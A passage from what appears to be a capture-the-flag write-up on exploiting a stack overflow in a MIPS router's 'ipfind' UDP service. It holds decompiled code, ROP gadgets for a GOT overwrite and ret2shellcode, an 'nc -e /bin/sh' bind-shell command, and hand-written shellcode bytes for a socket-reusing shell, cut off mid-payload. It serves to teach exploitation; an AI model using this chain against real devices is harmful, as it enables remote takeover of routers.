<span class="n">v8</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)((</span><span class="n">_byteswap_ushort</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">23</span><span class="p">])</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)((</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v15</span><span class="p">[</span><span class="mi">24</span><span class="p">]</span> <span class="o">|</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v15</span><span class="p">[</span><span class="mi">23</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">))</span> <span class="o">>></span> <span class="mi">8</span><span class="p">));</span>
<span class="o">*</span><span class="p">(</span><span class="n">_WORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">23</span><span class="p">]</span> <span class="o">=</span> <span class="n">v8</span><span class="p">;</span>
<span class="n">v17</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">24</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v15</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">|</span> <span class="p">((</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">&</span> <span class="mh">0xFF0000u</span><span class="p">)</span> <span class="o">>></span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="p">((</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">&</span> <span class="mh">0xFF00</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">=</span> <span class="n">v17</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strncmp</span><span class="p">(</span><span class="n">v18</span><span class="p">,</span> <span class="n">v20</span><span class="p">,</span> <span class="mi">4u</span><span class="p">)</span> <span class="o">&&</span> <span class="n">v15</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">==</span> <span class="mi">10</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v7</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v8</span> <span class="o">&&</span> <span class="o">!</span><span class="n">memcmp</span><span class="p">(</span><span class="n">v21</span><span class="p">,</span> <span class="n">v23</span><span class="p">,</span> <span class="mi">6u</span><span class="p">)</span> <span class="o">&&</span> <span class="o">!</span><span class="n">v17</span> <span class="p">)</span>
<span class="n">sub_40172C</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v15</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v7</span> <span class="o">==</span> <span class="mi">2</span>
<span class="o">&&</span> <span class="n">net_get_hwaddr</span><span class="p">(</span><span class="n">ifname</span><span class="p">,</span> <span class="n">v22</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">0</span>
<span class="o">&&</span> <span class="o">!</span><span class="n">memcmp</span><span class="p">(</span><span class="n">v21</span><span class="p">,</span> <span class="n">v22</span><span class="p">,</span> <span class="mi">6u</span><span class="p">)</span>
<span class="o">&&</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x8E</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">sub_4013F4</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v15</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>If you don’t know the mac address of the target device, you will enter <code class="language-plaintext highlighter-rouge">sub_40172C</code> to obtain the basic information of the device, and then broadcast it in the LAN. In order to bring the vulnerability to the WAN side, I deliberately patch the binary so that it can be sent back to the client, as one of the hints for the target program. Of course, you can also use qemu’s default mac address for subsequent exploitation, so I don’t need to patch. BTW, after the patch procedure, I use <a href="https://github.com/rampageX/firmware-mod-kit">firmware-mod-kit</a> to repack the firmware.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">v9</span><span class="p">[</span><span class="mi">75</span><span class="p">]</span> <span class="o">=</span> <span class="n">v9</span><span class="p">[</span><span class="mi">75</span><span class="p">]</span> <span class="o">&</span> <span class="mh">0xFF0000FF</span> <span class="o">|</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)(((</span><span class="n">_WORD</span><span class="p">)</span><span class="n">v7</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="n">BYTE2</span><span class="p">(</span><span class="n">v7</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">v3</span> <span class="o">=</span> <span class="n">inet_ntoa</span><span class="p">((</span><span class="k">struct</span> <span class="n">in_addr</span><span class="p">)</span><span class="n">dword_413174</span><span class="p">);</span>
<span class="n">dword_413174</span> <span class="o">=</span> <span class="n">inet_addr</span><span class="p">(</span><span class="s">"255.255.255.255"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">sendto</span><span class="p">(</span><span class="n">server_sockfd</span><span class="p">,</span> <span class="n">v9</span><span class="p">,</span> <span class="mh">0x21Du</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">client_addr</span><span class="p">,</span> <span class="mh">0x10u</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span> <span class="p">)</span>
<span class="n">v4</span> <span class="o">=</span> <span class="s">"Failed"</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">v4</span> <span class="o">=</span> <span class="s">"Success"</span><span class="p">;</span>
<span class="k">return</span> <span class="nf">s_log_nothing</span><span class="p">(</span><span class="s">"from %s: Discovery %s.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">v3</span><span class="p">,</span> <span class="n">v4</span><span class="p">);</span>
</code></pre></div></div>
<p>After entering the <code class="language-plaintext highlighter-rouge">sub_400F50</code> function within <code class="language-plaintext highlighter-rouge">sub_4013F4</code>, the obvious vulnerability is that the base64 decoding goes directly to the stack without length limit, causing buffer overflow:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">sub_400F50</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// $s1</span>
<span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// $s0</span>
<span class="kt">char</span> <span class="n">v7</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span> <span class="c1">// [sp+18h] [-344h] BYREF</span>
<span class="kt">char</span> <span class="n">v8</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span> <span class="c1">// [sp+118h] [-244h] BYREF</span>
<span class="kt">char</span> <span class="n">v9</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span> <span class="c1">// [sp+218h] [-144h] BYREF</span>
<span class="kt">char</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// [sp+318h] [-44h] BYREF</span>
<span class="kt">char</span> <span class="n">v11</span><span class="p">[</span><span class="mi">63</span><span class="p">];</span> <span class="c1">// [sp+319h] [-43h] BYREF</span>
<span class="n">v10</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">v11</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">v11</span><span class="p">));</span>
<span class="n">Base64decs</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">v7</span><span class="p">);</span>
<span class="n">Base64decs</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">v8</span><span class="p">);</span>
<span class="n">cfgRead</span><span class="p">(</span><span class="s">"USER_ADMIN"</span><span class="p">,</span> <span class="s">"Username1"</span><span class="p">,</span> <span class="o">&</span><span class="n">v10</span><span class="p">);</span>
<span class="n">usrInit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="n">v4</span> <span class="o">=</span> <span class="n">usrGetGroup</span><span class="p">(</span><span class="n">v7</span><span class="p">);</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">usrGetPass</span><span class="p">(</span><span class="n">v7</span><span class="p">,</span> <span class="n">v9</span><span class="p">,</span> <span class="mi">256</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v5</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v4</span> <span class="o">&&</span> <span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="o">&</span><span class="n">v10</span><span class="p">,</span> <span class="n">v7</span><span class="p">)</span> <span class="p">)</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">v8</span><span class="p">,</span> <span class="n">v9</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">v5</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">usrFree</span><span class="p">();</span>
<span class="k">return</span> <span class="n">v5</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h1>Exploit</h1>
<p>After <code class="language-plaintext highlighter-rouge">checksec</code>, the program found that the security compilation options were not enabled, but <a href="https://github.com/tacnetsol/ida/tree/master/plugins/mipsrop">mipsrop</a> did not give a valid output, which means we have to construct rop by yourself. At the same time, ASLR in the qemu system is also one of the limitations of the challenge.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ checksec /mnt/hgfs/rwctf/iot/firmware/ipfind
[*] You have the latest version of Pwntools (4.8.0)
[*] '/mnt/hgfs/rwctf/iot/firmware/ipfind'
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
</code></pre></div></div>
<h2>Write GOT</h2>
<p>If PIE is not enabled, we should check to see if there are any gadgets that can be used in the .text section, we cloud notice a gadget written in 4 bytes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00400F24 8F A2 00 18 lw $v0, 0x20+var_8($sp)
.text:00400F28 AE 02 00 0D sw $v0, 0xD($s0)
.text:00400F2C
.text:00400F2C loc_400F2C: # CODE XREF: sub_400E50+CC↑j
.text:00400F2C 8F 82 80 68 la $v0, ifname
.text:00400F30 8C 44 00 00 lw $a0, (ifname - 0x413138)($v0)
.text:00400F34 8F 99 80 8C la $t9, net_get_hwaddr
.text:00400F38 03 20 F8 09 jalr $t9 ; net_get_hwaddr
.text:00400F3C 26 05 00 11 addiu $a1, $s0, 0x11
.text:00400F40 8F BF 00 24 lw $ra, 0x20+var_s4($sp)
.text:00400F44 8F B0 00 20 lw $s0, 0x20+var_s0($sp)
.text:00400F48 03 E0 00 08 jr $ra
.text:00400F4C 27 BD 00 28 addiu $sp, 0x28
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">$s0</code> is controllable at the overflow point, which is equivalent to writing at any address. We can write a custom command and then jump to the system, or modify the GOT table and jump. We choose the latter one. Interested ctfers can try the first one. In the process of constructing the subsequent rop chain, you will find the first error place. The reason is that IDA has done some work for us, so that the <code class="language-plaintext highlighter-rouge">$gp</code> register is not considered in place:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00400F34 8F 99 80 8C la $t9, net_get_hwaddr
8F 99 80 8C lw $t9, -0x7f74($gp)
</code></pre></div></div>
<p>So we should restore the <code class="language-plaintext highlighter-rouge">$gp</code> register firstly, you can also search it in the results of ROPgadget:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x00400c9c : lw $gp, 0x10($sp) ; lw $ra, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x20
</code></pre></div></div>
<p>Finally, just find a gadget that <code class="language-plaintext highlighter-rouge">$a0</code> points to the bottom of the stack, such as <code class="language-plaintext highlighter-rouge">memset</code>, after modifying the GOT, you can execute any command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00401768 27 A4 00 21 addiu $a0, $sp, 0x35C+var_33B # s
.text:0040176C 00 00 28 21 move $a1, $zero # c
.text:00401770 8F 99 80 78 la $t9, memset
.text:00401774 03 20 F8 09 jalr $t9 ; memset
.text:00401778 24 06 00 FF li $a2, 0xFF # n
</code></pre></div></div>
<p>But how to get the flag through a single command, the target environment is not connected to the Internet, which means that the reverse shell cannot be used, the udp port must be reused. First of all, I would like to know whether the target environment has something like nc. If it happens to be a FirmAE environment, then you could use busybox in the <code class="language-plaintext highlighter-rouge">/firmadyne/</code> directory to start a udp_bind_shell directly. Unfortunately, the nc of busybox was changed to nx by me, I don’t know if you can guess it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.rodata:0057401F .byte 0x6E # n
.rodata:00574020 .byte 0x78 # x
.rodata:00574021 .byte 0
.rodata:00574022 .byte 0x6E # n
.rodata:00574023 .byte 0x65 # e
.rodata:00574024 .byte 0x74 # t
.rodata:00574025 .byte 0x73 # s
.rodata:00574026 .byte 0x74 # t
.rodata:00574027 .byte 0x61 # a
.rodata:00574028 .byte 0x74 # t
.rodata:00574029 .byte 0
</code></pre></div></div>
<p>If not, let’s <code class="language-plaintext highlighter-rouge">echo</code> to send out a binary. Due to the length of the initial recvfrom, the buffer overflow padding, and the expansion of the base64 encoding, a command can only contain a few hundred characters. I am too lazy to compile, generate and streamline the binary, so it would be great if the command can be executed multiple times, we can restart the vulnerability service after exploiting the vulnerability:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="n">cmd</span>
<span class="k">if</span> <span class="n">restart</span> <span class="o">==</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"rm /var/run/ipfind-br0.pid;ipfind br0 &</span><span class="se">\x00</span><span class="s">"</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span>
</code></pre></div></div>
<p>But restarting the vulnerable service multiple times will cause it to inherit multiple fds. If your binary is relatively large, inexplicable bugs will appear when you finally listen to the same port. It is recommended to close the original <code class="language-plaintext highlighter-rouge">server_sockfd</code> at first:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:004021E8 8F BC 00 10 lw $gp, 0x98+var_88($sp)
.text:004021EC 8F 82 80 B8 la $v0, server_sockfd
.text:004021F0 8C 44 00 00 lw $a0, (server_sockfd - 0x413134)($v0) # fd
.text:004021F4 8F 99 80 38 la $t9, close
.text:004021F8 03 20 F8 09 jalr $t9 ; close
.text:004021FC 00 00 00 00 nop
.text:00402200 8F BF 00 9C lw $ra, 0x98+var_s4($sp)
.text:00402204 8F B0 00 98 lw $s0, 0x98+var_s0($sp)
.text:00402208 03 E0 00 08 jr $ra
.text:0040220C 27 BD 00 A0 addiu $sp, 0xA0
</code></pre></div></div>
<h2>ret2shellcode</h2>
<p>If you don’t want to execute so many commands, and the stack is executable, the quickest way is <code class="language-plaintext highlighter-rouge">ret2shellcode</code>, you can find such gadget in the .text section:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:004013D0 s_log_nothing: # CODE XREF: sub_4013F4+9C↓p
.text:004013D0 # sub_4013F4+160↓p ...
.text:004013D0
.text:004013D0 var_8 = -8
.text:004013D0 arg_4 = 4
.text:004013D0 arg_8 = 8
.text:004013D0 arg_C = 0xC
.text:004013D0
.text:004013D0 27 BD FF F0 addiu $sp, -0x10
.text:004013D4 AF A5 00 14 sw $a1, 0x10+arg_4($sp)
.text:004013D8 AF A6 00 18 sw $a2, 0x10+arg_8($sp)
.text:004013DC AF A7 00 1C sw $a3, 0x10+arg_C($sp)
.text:004013E0 27 A2 00 14 addiu $v0, $sp, 0x10+arg_4
.text:004013E4 AF A2 00 08 sw $v0, 0x10+var_8($sp)
.text:004013E8 27 BD 00 10 addiu $sp, 0x10
.text:004013EC 03 E0 00 08 jr $ra
.text:004013F0 00 00 00 00 nop
</code></pre></div></div>
<p>Among them, <code class="language-plaintext highlighter-rouge">addiu $v0, $sp, 0x10+arg_4</code> typed out the stack address, and we could search for gadget within the cross-introduction of the <code class="language-plaintext highlighter-rouge">s_log_nothing</code> function, which does not affect <code class="language-plaintext highlighter-rouge">$v0</code> and quickly overwrites <code class="language-plaintext highlighter-rouge">$ra</code>, for example :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00401F98 0C 10 04 F4 jal s_log_nothing
.text:00401F9C 24 84 2C F8 li $a0, aCanTGetHelloSo # "Can't get hello socket\n"
.text:00401FA0 10 00 00 44 b loc_4020B4
.text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08 jr $ra
.text:004020C4 27 BD 00 88 addiu $sp, 0x88
</code></pre></div></div>
<p>The value written at any address above happens to be <code class="language-plaintext highlighter-rouge">$v0</code>, so we can jump after another load. Carefully observe the end of the function in the program, we can find such a gadget just meets our needs:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:004027C0 03 20 F8 09 jalr $t9
.text:004027C4 00 00 00 00 nop
.text:004027C8
.text:004027C8 loc_4027C8: # CODE XREF: sub_402790+28↑j
.text:004027C8 8E 19 00 00 lw $t9, 0($s0)
.text:004027CC 17 31 FF FC bne $t9, $s1, loc_4027C0
.text:004027D0 26 10 FF FC addiu $s0, -4
.text:004027D4 8F BF 00 24 lw $ra, 0x1C+var_s8($sp)
.text:004027D8 8F B1 00 20 lw $s1, 0x1C+var_s4($sp)
.text:004027DC 8F B0 00 1C lw $s0, 0x1C+var_s0($sp)
.text:004027E0 03 E0 00 08 jr $ra
.text:004027E4 27 BD 00 28 addiu $sp, 0x28
</code></pre></div></div>
<p>Before the actual jump to the stack address, <code class="language-plaintext highlighter-rouge">$a1</code>, <code class="language-plaintext highlighter-rouge">$a2</code> and <code class="language-plaintext highlighter-rouge">$a3</code> will be written to the stack at 0x004013D4 of the gadget. It needs to be combined to ensure that these three values are nop instructions. If it affects the normal execution of the rop chain, it still needs to be customized at the very beginning, such as “clearing” <code class="language-plaintext highlighter-rouge">$a3</code> (it will become 0x0, 0x0, 0x1 after <code class="language-plaintext highlighter-rouge">close</code>):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:004020A0 00 00 38 21 move $a3, $zero # flags
.text:004020A4 8F BC 00 18 lw $gp, 0x7C+var_64($sp)
.text:004020A8 8F 99 80 38 la $t9, close
.text:004020AC 03 20 F8 09 jalr $t9 ; close
.text:004020B0 02 00 20 21 move $a0, $s0 # fd
.text:004020B4
.text:004020B4 loc_4020B4: # CODE XREF: sub_401DF4+1AC↑j
.text:004020B4 # sub_401DF4+238↑j ...
.text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08 jr $ra
.text:004020C4 27 BD 00 88 addiu $sp, 0x88
</code></pre></div></div>
<p>Finally we jump to the shellcode, we need to realize the function of udp_bind_shell, there is not ready-made in msf, we can only look at the <a href="https://github.com/openbsd/src/blob/master/usr.bin/nc/netcat.c#L595">code</a> of <a href="https://www.sqlsec.com/2019/10/nc.html">nc</a>. When we use <code class="language-plaintext highlighter-rouge">nc -l -p 62720 -u -e /bin /sh</code>, it firstly <code class="language-plaintext highlighter-rouge">recvfrom</code> to obtain the client address and then connect back:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="err">}</span> <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">uflag</span> <span class="o">&&</span> <span class="o">!</span><span class="n">kflag</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/*
* For UDP and not -k, we will use recvfrom()
* initially to wait for a caller, then use
* the regular functions to talk to the caller.
*/</span>
<span class="kt">int</span> <span class="n">rv</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">2048</span><span class="p">];</span>
<span class="k">struct</span> <span class="n">sockaddr_storage</span> <span class="n">z</span><span class="p">;</span>
<span class="n">len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">z</span><span class="p">);</span>
<span class="n">rv</span> <span class="o">=</span> <span class="n">recvfrom</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="n">MSG_PEEK</span><span class="p">,</span>
<span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">z</span><span class="p">,</span> <span class="o">&</span><span class="n">len</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">rv</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"recvfrom"</span><span class="p">);</span>
<span class="n">rv</span> <span class="o">=</span> <span class="n">connect</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">z</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">rv</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"connect"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">family</span> <span class="o">==</span> <span class="n">AF_UNIX</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">pledge</span><span class="p">(</span><span class="s">"stdio unix"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"pledge"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">vflag</span><span class="p">)</span>
<span class="n">report_sock</span><span class="p">(</span><span class="s">"Connection received"</span><span class="p">,</span>
<span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">z</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span>
<span class="n">family</span> <span class="o">==</span> <span class="n">AF_UNIX</span> <span class="o">?</span> <span class="n">host</span> <span class="o">:</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">readwrite</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</code></pre></div></div>
<p>Because <code class="language-plaintext highlighter-rouge">recvfrom</code> has been called when the vulnerability was triggered by the first interaction, with the help of the existing <a href="https://shell-storm.org/shellcode/files/shellcode-794.html">connect back shellcode</a>, it’s done by <code class="language-plaintext highlighter-rouge">execve</code> busybox after <code class="language-plaintext highlighter-rouge">dup2</code>. We should pay attention to the <a href="https://www.anquanke.com/post/id/180252#h3-11">format</a> delivered to busybox. So one shot to getshell:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x3C\x1C\x00\x42</span><span class="s">"</span> <span class="c1"># lui $gp, 0x42
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x27\x9C\xB0\x30</span><span class="s">"</span> <span class="c1"># addiu $gp, $gp, -0x4fd0
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x8F\x82\x80\xB8</span><span class="s">"</span> <span class="c1"># la $v0, server_sockfd
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x8C\x44\x00\x00</span><span class="s">"</span> <span class="c1"># lw $a0, (server_sockfd - 0x413134)($v0) # fd
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x8F\x85\x80\xF4</span><span class="s">"</span> <span class="c1"># lw $a1, -0x7f0c($gp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x24\x0c\xff\xef</span><span class="s">"</span> <span class="c1"># li t4,-17 ( addrlen = 16 )
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x01\x80\x30\x27</span><span class="s">"</span> <span class="c1"># nor a2,t4,zero
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x24\x02\x10\x4a</span><span class="s">"</span> <span class="c1"># li v0,4170 ( sys_connect )
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x01\x01\x01\x0c</span><span class="s">"</span> <span class="c1"># syscall 0x40404
</span>
<span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x3C\x1C\x00\x42</span><span class="s">"</span> <span class="c1"># lui $gp, 0x42
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x27\x9C\xB0\x30</span><span class="s">"</span> <span class="c1"># addiu $gp, $gp, -0x4fd0
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x8F\x82\x80\xB8</span><span class="s">"</span> <span class="c1"># la $v0, server_sockfd
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x8C\x44\x00\x00</span><span class="s">"</span> <span class="c1"># lw $a0, (server_sockfd - 0x413134)($v0) # fd
</span>
<span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x24\x0f\xff\xfd</span><span class="s">"</span> <span class="c1"># li t7,-3
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x01\xe0\x28\x27</span><span class="s">"</span> <span class="c1"># nor a1,t7,zero
</span> <span class="c1"># bof_payload += "\x8f\xa4\xff\xff" # lw a0,-1(sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x24\x02\x0f\xdf</span><span class="s">"</span> <span class="c1"># li v0,4063 ( sys_dup2 )
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x01\x01\x01\x0c</span><span class="s">"</span> <span class="c1"># syscall 0x40404
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x20\xa5\xff\xff</span><span class="s">"</span> <span class="c1"># addi a1,a1,-1
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x24\x01\xff\xff</span><span class="s">"</span> <span class="c1"># li at,-1
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x14\xa1\xff\xfb</span><span class="s">"</span> <span class="c1"># bne a1,at, dup2_loop
</span>
<span class="c1"># execve /bin/busybox sh
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x28\x06\xFF\xFF</span><span class="s">"</span> <span class="c1"># slti $a2, $zero, -1
